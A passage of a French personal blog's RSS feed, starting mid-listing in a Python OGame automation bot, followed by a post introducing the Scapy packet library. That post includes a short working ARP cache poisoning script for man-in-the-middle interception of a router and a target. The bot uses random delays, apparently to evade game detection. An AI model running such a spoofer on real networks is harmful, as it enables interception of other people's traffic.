<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,url,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span><span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data = rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; link=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;modus=add&amp;techid=&quot;</span>+batiment,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="kw2">str</span><span class="br0">&#40;</span>link<span class="br0">&#41;</span> == <span class="st0">&quot;None&quot;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ti=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;pp=&#39;([0-9]+)&#39;;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="kw2">str</span><span class="br0">&#40;</span>ti<span class="br0">&#41;</span><span class="sy0">!</span>=<span class="st0">&quot;None&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; tps = ti.<span class="me1">groups</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> &#8211; <span class="kw2">int</span><span class="br0">&#40;</span>tps<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="co1">#just to say that another things is being constructed Need to change farmer</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-3</span><span class="co1">#Don&#39;t get the url to create building</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">1</span>,<span class="nu0">2</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; reque=<span class="st0">&quot;/game/index.php?page=b_building&amp;session=&quot;</span>+<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">session</span>+<span class="st0">&quot;&amp;modus=add&amp;techid=&quot;</span>+batiment+<span class="st0">&quot;&amp;planet=&quot;</span>+<span class="kw2">self</span>.<span class="me1">planetId</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">request</span><span class="br0">&#40;</span><span class="st0">&quot;GET&quot;</span>,reque,<span class="br0">&#123;</span><span class="br0">&#125;</span>,<span class="br0">&#123;</span><span class="st0">&quot;Cookie&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">cookie</span>,<span class="st0">&quot;User-Agent&quot;</span>:<span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">userAgent</span>,<span class="st0">&quot;Referer&quot;</span>:url<span class="br0">&#125;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">ogame</span>.<span class="me1">referer</span>=reque</div>
</li>
<li class="li1">
<div class="de1">&nbsp; rq=ht.<span class="me1">getresponse</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; data=rq.<span class="me1">read</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; ht.<span class="me1">close</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; link=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;modus=add&amp;techid=&quot;</span>+batiment,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">if</span> <span class="kw2">str</span><span class="br0">&#40;</span>link<span class="br0">&#41;</span> == <span class="st0">&quot;None&quot;</span>:<span class="co1">#no link so it&#39;s OK</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;ti=<span class="kw3">re</span>.<span class="me1">search</span><span class="br0">&#40;</span><span class="st0">&quot;pp=&#39;([0-9]+)&#39;;&quot;</span>,data<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">if</span><span class="br0">&#40;</span><span class="kw2">str</span><span class="br0">&#40;</span>ti<span class="br0">&#41;</span><span class="sy0">!</span>=<span class="st0">&quot;None&quot;</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; tps = ti.<span class="me1">groups</span><span class="br0">&#40;</span><span class="nu0">0</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> tps<span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">return</span> <span class="nu0">-1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">return</span> <span class="nu0">-2</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="co1">#Farming function &#8230;</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">class</span> Farmer<span class="br0">&#40;</span>Thread<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>,og,planet,batiments<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; Thread.<span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">og</span> = og</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">planet</span> = planet</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">self</span>.<span class="me1">batiments</span> = batiments</div>
</li>
<li class="li1">
<div class="de1">&nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> run<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> batiment <span class="kw1">in</span> <span class="kw2">self</span>.<span class="me1">batiments</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">self</span>.<span class="me1">sec</span>=<span class="nu0">-1</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;On contruit un batiment : &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span>+<span class="st0">&quot; sur : &quot;</span>+<span class="kw2">self</span>.<span class="me1">planet</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw1">while</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">0</span><span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">sec</span> = <span class="kw2">self</span>.<span class="me1">og</span>.<span class="me1">planetAddBuilding</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">planet</span>,<span class="kw2">str</span><span class="br0">&#40;</span>batiment<span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">if</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">0</span> <span class="kw1">and</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&gt;</span><span class="nu0">-4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;addTime=<span class="nu0">360</span> + <span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">10</span>,<span class="nu0">120</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Ajout d&#39;un temps additionnel de &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>addTime<span class="br0">&#41;</span>+<span class="st0">&quot; sec(s) avant le prochain batiment&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span>addTime<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">elif</span> <span class="kw2">self</span>.<span class="me1">sec</span><span class="sy0">&lt;</span><span class="nu0">-4</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;Un batiment est déjà en construction pour encore &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span>-<span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span>+<span class="st0">&quot; sec(s)&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span>-<span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; <span class="kw1">else</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw1">print</span> <span class="st0">&quot;On va attendre &quot;</span>+<span class="kw2">str</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span>+<span class="st0">&quot; secondes avant le prochain batiment&quot;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw2">float</span><span class="br0">&#40;</span><span class="kw2">self</span>.<span class="me1">sec</span><span class="br0">&#41;</span><span class="nu0">+2</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; </div>
</li>
<li class="li1">
<div class="de1">&nbsp;<span class="kw1">def</span> buildInChainsPlanets<span class="br0">&#40;</span>og,planets,batiments<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw2">list</span>=<span class="br0">&#91;</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="co1">#maxCon = 1 default 1 ^^</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; pool_sema = Semaphore<span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;</div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> index,planet <span class="kw1">in</span> <span class="kw2">enumerate</span><span class="br0">&#40;</span>planets<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;pool_sema.<span class="me1">acquire</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;tmp = Farmer<span class="br0">&#40;</span>og,planet,batiments<span class="br0">&#91;</span>index<span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw2">list</span>.<span class="me1">append</span><span class="br0">&#40;</span>tmp<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;tmp.<span class="me1">start</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;<span class="kw3">time</span>.<span class="me1">sleep</span><span class="br0">&#40;</span><span class="kw3">random</span>.<span class="me1">randint</span><span class="br0">&#40;</span><span class="nu0">2</span>,<span class="nu0">5</span><span class="br0">&#41;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;pool_sema.<span class="me1">release</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; <span class="kw1">for</span> l <span class="kw1">in</span> <span class="kw2">list</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp;l.<span class="me1">join</span><span class="br0">&#40;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;buildInChainsPlanets = <span class="kw2">staticmethod</span><span class="br0">&#40;</span>buildInChainsPlanets<span class="br0">&#41;</span></div>
</li>
</ol>
</div>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=630">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/mes-applicationsscripts/" rel="bookmark" title="Permanent Link: Mes Applications/Scripts">Mes Applications/Scripts</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/liveusb-fedora9-avec-liveusb-creator/" rel="bookmark" title="Permanent Link: LiveUsb fedora9 avec liveusb creator">LiveUsb fedora9 avec liveusb creator</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/" rel="bookmark" title="Permanent Link: monter un serveur PHP en une ligne de commande (ou presque)">monter un serveur PHP en une ligne de commande (ou presque)</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/" rel="bookmark" title="Permanent Link: Scapy pour forger des paquets en python">Scapy pour forger des paquets en python</a></li><li><a href="http://blog.gaetan-grigis.eu/programmation/creer-son-propre-service-de-mail-jetable-avec-appengine/" rel="bookmark" title="Permanent Link: Créer son propre service de mail jetable avec appengine">Créer son propre service de mail jetable avec appengine</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/mon-apprentissage-de-python-avec-ogame/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Scapy pour forger des paquets en python</title>
		<link>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/</link>
		<comments>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/#comments</comments>
		<pubDate>Sun, 06 Sep 2009 11:14:30 +0000</pubDate>
		<dc:creator>Gaëtan</dc:creator>
				<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Sécurité]]></category>
		<category><![CDATA[Système]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[scapy]]></category>
		<category><![CDATA[tools]]></category>

		<guid isPermaLink="false">http://blog.gaetan-grigis.eu/?p=548</guid>
		<description><![CDATA[Bijour à tous &#8230; Aujourd&#8217;hui un truc super sympa : scapy, c&#8217;est un forgeur de paquet multi protocole (ARP, TCP, UDP, &#8230;) qui permet d&#8217;envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y&#8217;a aussi d&#8217;autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur [...]]]></description>
			<content:encoded><![CDATA[<p>Bijour à tous &#8230;</p>
<p>Aujourd&#8217;hui un truc super sympa : <strong>scapy</strong>, c&#8217;est un forgeur de paquet multi protocole (ARP, TCP, UDP, &#8230;) qui permet d&#8217;envoyer/receptionner des paquets depuis la couche OSI 2 (Liaison), mais aussi depuis des couches supérieur (y&#8217;a aussi d&#8217;autres trucs possible comme la lecture de fichier pcap pour réinjecter des trames sur le reseau depuis un dump et &#8230;).</p>
<p>Le truc intéressant, c&#8217;est qu&#8217;il peut remplacer pas mal d&#8217;autres outils (hping, arpspoof, tcpdump, tethereal, &#8230;) et tout ça en quelques lignes de python (sale bête).</p>
<p>Pour l&#8217;utiliser, il n&#8217;y a pas grand chose à faire : <strong>apt-get install python-scapy</strong></p>
<p>Et ensuite on code son petit soft (on peut bien sûr en chercher sur le net, mais ça supprime une partie du plaisir &#8230;).</p>
<p>Par exemple, pour créer un outils d&#8217;arp cache poisonning pour du MITM (genre en remplacement de arpspoof ou &#8230;) :</p>
<div class="geshi no python">
<div class="head">#! /usr/bin/env python</div>
<ol>
<li class="li1">
<div class="de1"><span class="kw1">from</span> scapy.<span class="me1">all</span> <span class="kw1">import</span> <span class="sy0">*</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">import</span> <span class="kw3">sys</span></div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">if</span> <span class="kw2">len</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#41;</span> <span class="sy0">!</span>= <span class="nu0">3</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Usage: %s ip1 ip2&quot;</span> <span class="sy0">%</span> <span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sys</span>.<span class="me1">exit</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1"><span class="kw1">def</span> arppoiso<span class="br0">&#40;</span>routeur,pigeon<span class="br0">&#41;</span>:</div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; mac = getmacbyip<span class="br0">&#40;</span>routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; p = Ether<span class="br0">&#40;</span>dst=mac<span class="br0">&#41;</span> /ARP<span class="br0">&#40;</span>op=<span class="st0">&quot;is-at&quot;</span>,psrc=pigeon, pdst=routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp; &nbsp; &nbsp; &nbsp; sendp<span class="br0">&#40;</span>p, iface_hint=routeur<span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">&nbsp;</div>
</li>
<li class="li1">
<div class="de1">arppoiso<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
<li class="li1">
<div class="de1">arppoiso<span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">2</span><span class="br0">&#93;</span>,<span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="br0">&#41;</span></div>
</li>
</ol>
</div>
<p>Le code n&#8217;est pas très propre (c&#8217;est mon premier programme en python &#8230; la honte :p). L&#8217;utilisation est vraiment très simple : il suffit de connaitre le protocole qu&#8217;on utilise pour forger son paquet et ici empoisonner le routeur et la cible (le pigeon comme d&#8217;hab) pour faire rediriger tout les paquets vers son pc, (ne pas oublier le forwarding <img src='http://blog.gaetan-grigis.eu/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ).</p>
<p>Bien sûr mon programme n&#8217;est pas très propre (j&#8217;ai lu de meilleurs implémentations de la chose, mais je voulais faire simple).</p>
<p>De très bon liens sur le sujet (pour comprendre différents protocoles et intéragir avec c&#8217;est super intéressant) :</p>
<ul>
<li><a href="http://www.hackaholic.org/papers/blackmagic.txt" target="_blank">Quelques idées</a> de programmes avec scapy (réécriture de nombreux soft : dnsspoof, firewalk, arpspoof (plus propre que le miens))</li>
<li><a href="http://www.secdev.org/projects/scapy/doc/" target="_blank">La doc officiel</a></li>
<li><a href="http://oss.netboxblue.com/pug/scapy.html" target="_blank">Petit slide</a> intéressant (implémention d&#8217;un arpspoof en passant par les who-is au lieu de spammer les hôtes de is-at)</li>
<li>Apprendre à <a href="http://www.larsen-b.com/static/intro_python/" target="_blank">programmer en python</a></li>
</ul>

                            <div id="aspdf">
                                <a href="http://blog.gaetan-grigis.eu/wp-content/plugins/as-pdf/generate.php?post=548">
                                    <span>Télécharger l'article au format PDF</span>
                                </a>
                            </div>
                        <hr /><h2>Articles similaires : </h2><ul><li><a href="http://blog.gaetan-grigis.eu/securite/protection-ddos-soft/" rel="bookmark" title="Permanent Link: Protection Ddos (soft)">Protection Ddos (soft)</a></li><li><a href="http://blog.gaetan-grigis.eu/ubuntu/ubuntu-mise-a-jour-du-paquet-edyuk/" rel="bookmark" title="Permanent Link: [UBUNTU] Mise à jour du paquet Edyuk">[UBUNTU] Mise à jour du paquet Edyuk</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/liveusb-fedora9-avec-liveusb-creator/" rel="bookmark" title="Permanent Link: LiveUsb fedora9 avec liveusb creator">LiveUsb fedora9 avec liveusb creator</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/creer-un-paquet-pour-les-ppa/" rel="bookmark" title="Permanent Link: Créer un paquet pour les ppa">Créer un paquet pour les ppa</a></li><li><a href="http://blog.gaetan-grigis.eu/systeme/monter-un-serveur-php-en-une-ligne-de-commande-ou-presque/" rel="bookmark" title="Permanent Link: monter un serveur PHP en une ligne de commande (ou presque)">monter un serveur PHP en une ligne de commande (ou presque)</a></li></ul><hr /><small>Copyright &copy; 2008-2011 - Gaetan Grigis - <a href="http://blog.gaetan-grigis.eu">blog.gaetan-grigis.eu</a> </small>]]></content:encoded>
			<wfw:commentRss>http://blog.gaetan-grigis.eu/programmation/scapy-pour-forger-des-paquets-en-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

